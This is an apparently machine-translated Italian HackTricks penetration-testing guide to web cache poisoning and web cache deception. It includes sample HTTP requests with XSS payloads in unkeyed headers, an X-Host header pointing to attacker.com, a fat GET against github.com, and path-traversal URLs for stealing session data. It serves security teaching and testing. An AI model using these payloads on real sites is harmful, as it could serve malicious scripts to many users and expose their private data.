Cache Poisoning and Cache Deception

Supporta HackTricks

Usa Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo. Accedi oggi:

La differenza

Qual è la differenza tra web cache poisoning e web cache deception?

  • Nel web cache poisoning, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.

  • Nella web cache deception, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.

Cache Poisoning

Il cache poisoning mira a manipolare la cache lato client per costringere i client a caricare risorse che sono inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.

L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:

  1. Identificazione degli Input Non Chiave: Questi sono parametri che, sebbene non siano richiesti per una richiesta da memorizzare nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.

  2. Sfruttamento degli Input Non Chiave: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in un modo che avvantaggi l'attaccante.

  3. Assicurarsi che la Risposta Contaminata sia Memorizzata nella Cache: L'ultimo passo è assicurarsi che la risposta manipolata sia memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è contaminata riceverà la risposta contaminata.

Scoperta: Controlla le intestazioni HTTP

Di solito, quando una risposta è stata memorizzata nella cache, ci sarà un header che lo indica, puoi controllare quali intestazioni a cui prestare attenzione in questo post: Intestazioni di Cache HTTP.

Scoperta: Codici di errore di caching

Se pensi che la risposta venga memorizzata in una cache, potresti provare a inviare richieste con un header errato, che dovrebbe ricevere una risposta con codice di stato 400. Poi prova ad accedere alla richiesta normalmente e se la risposta è un codice di stato 400, sai che è vulnerabile (e potresti persino eseguire un DoS).

Puoi trovare ulteriori opzioni in:

Cache Poisoning to DoS

Tuttavia, nota che a volte questi tipi di codici di stato non vengono memorizzati nella cache, quindi questo test potrebbe non essere affidabile.

Scoperta: Identificare e valutare gli input non chiave

Potresti usare Param Miner per forzare parametri e intestazioni che potrebbero cambiare la risposta della pagina. Ad esempio, una pagina potrebbe utilizzare l'intestazione X-Forwarded-For per indicare al client di caricare lo script da lì:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

Con il parametro/intestazione identificato, controlla come viene sanitizzato e dove viene riflesso o influisce sulla risposta dall'intestazione. Puoi abusarne in qualche modo (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)

Get the response cached

Una volta che hai identificato la pagina che può essere abusata, quale parametro/intestazione utilizzare e come abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di memorizzare nella cache, questo potrebbe richiedere del tempo, potresti dover provare per diversi secondi.

L'intestazione X-Cache nella risposta potrebbe essere molto utile poiché potrebbe avere il valore miss quando la richiesta non è stata memorizzata nella cache e il valore hit quando è memorizzata. L'intestazione Cache-Control è anche interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà memorizzata nella cache di nuovo: Cache-Control: public, max-age=1800

Un'altra intestazione interessante è Vary. Questa intestazione è spesso utilizzata per indicare intestazioni aggiuntive che vengono trattate come parte della chiave di cache anche se normalmente non sono chiave. Pertanto, se l'utente conosce il User-Agent della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico User-Agent.

Un'altra intestazione relativa alla cache è Age. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.

Quando memorizzi una richiesta nella cache, fai attenzione alle intestazioni che usi perché alcune di esse potrebbero essere utilizzate inaspettatamente come chiave e la vittima dovrà utilizzare quella stessa intestazione. Testa sempre un Cache Poisoning con diversi browser per controllare se funziona.

Exploiting Examples

Easiest example

Un'intestazione come X-Forwarded-For viene riflessa nella risposta non sanitizzata. Puoi inviare un payload XSS di base e avvelenare la cache in modo che tutti coloro che accedono alla pagina saranno XSSati:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Nota che questo avvelenerà una richiesta a /en?region=uk e non a /en

Avvelenamento della cache per DoS

Cache Poisoning to DoS

I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Nota che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste regolari puliranno la cache.

Generare discrepanze con delimitatori, normalizzazione e punti

Controlla:

Cache Poisoning via URL discrepancies

Avvelenamento della cache con traversamento del percorso per rubare la chiave API

Questa descrizione spiega come sia stato possibile rubare una chiave API di OpenAI con un URL come https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 perché qualsiasi cosa che corrisponde a /share/* sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.

Questo è spiegato meglio anche in:

Cache Poisoning via URL discrepancies

Utilizzare più intestazioni per sfruttare le vulnerabilità di avvelenamento della cache web

A volte sarà necessario sfruttare diversi input non chiave per poter abusare di una cache. Ad esempio, potresti trovare un reindirizzamento aperto se imposti X-Forwarded-Host su un dominio controllato da te e X-Forwarded-Scheme su http. Se il server sta inoltrando tutte le richieste HTTP a HTTPS e utilizzando l'intestazione X-Forwarded-Scheme come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Sfruttare con un'intestazione Vary limitata

Se hai scoperto che l'intestazione X-Host viene utilizzata come nome di dominio per caricare una risorsa JS ma l'intestazione Vary nella risposta indica User-Agent. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro del corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Ad esempio, è possibile separare parameters nei server ruby utilizzando il carattere ; invece di &. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Impara qui come eseguire Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Il Web Cache Vulnerability Scanner può essere utilizzato per testare automaticamente la web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.

Esempio di utilizzo: wcvs -u example.com

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS ha inoltrato il frammento all'interno dell'URL senza rimuoverlo e ha generato la chiave di cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi, la richiesta /#/../?r=javascript:alert(1) è stata inviata al backend come /#/../?r=javascript:alert(1) e la chiave di cache non conteneva il payload, solo host, percorso e query.

GitHub CP-DoS

Inviare un valore errato nell'intestazione content-type ha attivato una risposta 405 memorizzata nella cache. La chiave di cache conteneva il cookie, quindi era possibile attaccare solo gli utenti non autenticati.

GitLab + GCP CP-DoS

GitLab utilizza i bucket GCP per memorizzare contenuti statici. GCP Buckets supportano l'intestazione x-http-method-override. Quindi era possibile inviare l'intestazione x-http-method-override: HEAD e avvelenare la cache per restituire un corpo di risposta vuoto. Potrebbe anche supportare il metodo PURGE.

Rack Middleware (Ruby on Rails)

Nelle applicazioni Ruby on Rails, viene spesso utilizzato il middleware Rack. Lo scopo del codice Rack è prendere il valore dell'intestazione x-forwarded-scheme e impostarlo come schema della richiesta. Quando viene inviata l'intestazione x-forwarded-scheme: http, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione X-forwarded-host e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.

403 and Storage Buckets

Cloudflare in precedenza memorizzava nella cache le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione errate avrebbe comportato una risposta 403 che veniva memorizzata nella cache. Anche se Cloudflare ha smesso di memorizzare nella cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.

Injecting Keyed Parameters

Le cache spesso includono parametri GET specifici nella chiave di cache. Ad esempio, il Varnish di Fastly memorizzava nella cache il parametro size nelle richieste. Tuttavia, se una versione codificata in URL del parametro (ad es., siz%65) veniva inviata anche con un valore errato, la chiave di cache sarebbe stata costruita utilizzando il corretto parametro size. Tuttavia, il backend avrebbe elaborato il valore nel parametro codificato in URL. La codifica in URL del secondo parametro size ha portato alla sua omissione da parte della cache ma al suo utilizzo da parte del backend. Assegnare un valore di 0 a questo parametro ha comportato un errore 400 Bad Request memorizzabile nella cache.

User Agent Rules

Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come la cache poisoning e il DoS.

Illegal Header Fields

Il RFC7230 specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo tchar specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione cache-control non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come \, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

L'obiettivo della Cache Deception è far sì che i client carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili.

Prima di tutto, nota che le estensioni come .css, .js, .png ecc. sono solitamente configurate per essere salvate nella cache. Pertanto, se accedi a www.example.com/profile.php/nonexistent.js, la cache probabilmente memorizzerà la risposta perché vede l'estensione .js. Ma, se l'applicazione sta replayando con i contenuti sensibili dell'utente memorizzati in www.example.com/profile.php, puoi rubare quei contenuti da altri utenti.

Altre cose da testare:

  • www.example.com/profile.php/.js

  • www.example.com/profile.php/.css

  • www.example.com/profile.php/test.js

  • www.example.com/profile.php/../test.js

  • www.example.com/profile.php/%2e%2e/test.js

  • Usa estensioni meno conosciute come .avif

Un altro esempio molto chiaro può essere trovato in questo write-up: https://hackerone.com/reports/593712. Nell'esempio, viene spiegato che se carichi una pagina non esistente come http://www.example.com/home.php/non-existent.css, il contenuto di http://www.example.com/home.php (con le informazioni sensibili dell'utente) verrà restituito e il server della cache salverà il risultato. Poi, l'attaccante può accedere a http://www.example.com/home.php/non-existent.css nel proprio browser e osservare le informazioni riservate degli utenti che hanno effettuato l'accesso prima.

Nota che il cache proxy dovrebbe essere configurato per memorizzare i file basandosi sull'estensione del file (.css) e non basandosi sul content-type. Nell'esempio http://www.example.com/home.php/non-existent.css avrà un content-type text/html invece di un tipo MIME text/css (che è quello previsto per un file .css).

Impara qui come eseguire Cache Deceptions attacks abusing HTTP Request Smuggling.

Automatic Tools

  • toxicache: scanner Golang per trovare vulnerabilità di web cache poisoning in un elenco di URL e testare più tecniche di iniezione.

References

Usa Trickest per costruire e automatizzare flussi di lavoro facilmente alimentati dagli strumenti della comunità più avanzati del mondo. Accedi oggi:

Support HackTricks

Last updated